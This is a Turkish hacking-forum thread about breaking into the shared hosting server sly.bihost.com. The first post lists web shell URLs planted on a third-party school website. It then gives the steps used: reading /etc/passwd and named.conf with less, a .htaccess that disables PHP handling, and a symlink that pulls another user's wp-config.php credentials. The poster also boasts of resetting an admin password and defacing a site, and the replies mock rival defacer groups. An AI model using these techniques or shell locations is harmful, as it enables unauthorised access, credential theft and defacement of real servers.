BİHOST 2014 SW + Bypass .

deleted-user
Konu Özeti

Bihost 2014 sunucusuna shell erişimi ve bypass yöntemleri paylaşılıyor. sly.bihost.com üzerindeki shell ve file manager bağlantıları verilmiş. Cat komutu kapalı olduğu için less ile /etc/passwd ve named.conf dosyaları çekilmiş. .htaccess ile PHP işleyici kaldırılıp symlink kullanılarak wp-config.php alınmış. Sunucuya sızıldığı ve admin şifresinin değiştirildiği iddia ediliyor.

Status
Not open for further replies.
sly.bihost.com

Shell:http://www.adaanaokulutasdelen.com/resimler/urunresimleri/ayaz.php filemanage

http://www.adaanaokulutasdelen.com/resimler/urunresimleri/cgishell/izo.cin

Bypass:
Cat komutu kapalı
Öncellikle etcmizi çekiyoruz:
less /etc/passwd
less /etc/named.conf I grep zone
MYSQL VE EVAL ilede çekebiliriz .

Cgi shellimize geçiş yapıp

mkdir t1
cd t1
upluad bölümünden

.htaccess kodumuz :
Options +FollowSymLinks
DirectoryIndex aaa.html
RemoveHandler .php
AddType application/octet-stream .php

'' Ekliyoruz .

Ve ln -s /home2/USER/public_html/wp-config.php a.txt

şeklinde çekiyoruz.
VE sonuç.

BİHOST.NET'E burdan bastim admin pass'ini 123123 yapıp index atmiştim YAKUP DEFACER adli kardeşimizde buraya brute force ile sizmiş tayfasi olan LAMERİZM tayfasi bu serveri geçemedi :D

SSLER:
http://i.hizliresim.com/bJBkBd.jpg
http://i.hizliresim.com/qPGjWW.jpg

🔒 Bu içeriği görmek için giriş yapın

 
eL-CeWaD said:
Bihost un kendi sitesine atılmış shell geçen paylaşıldı forumda öyle hatırlıyorum ayrıca çok basit bir server bunu geçemeyen varmıdır diyecem ama yakup geçememiş kerata zamanla öğrenecek abisi :D Tebrikler
Click to expand...
Yakupta geçememiş bunlarda :~ Yakup Defacer ~ ARC4DE ~ Slayer Bandit ~ DrakoLoL' ~ SAHKAN ~ K!O ~ ZEROHACKER ~ fenerisT146

🔒 Bu içeriği görmek için giriş yapın

 
  • G ghost-tr
TolanK1 said:
Bende tanimiyorum dostum ama facebooktan yok şu forumu hackledik yok şu foruma index attik çogu serveri geçeriz havalarindaydi Lamerizim adi üzerinde lamer 13-16 yaş tayfasi icraat 0 .
Click to expand...
Bu swyi mi gecememisler telefondan geçtim utansinlar harbi bak tayfa adına uyuyor icraatları bırakalım takilsinlar kendi hallerinde

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,364Threads
3,304,655Messages
328,181Members
sarsılmazmelihLatest member

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.

Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Top Bottom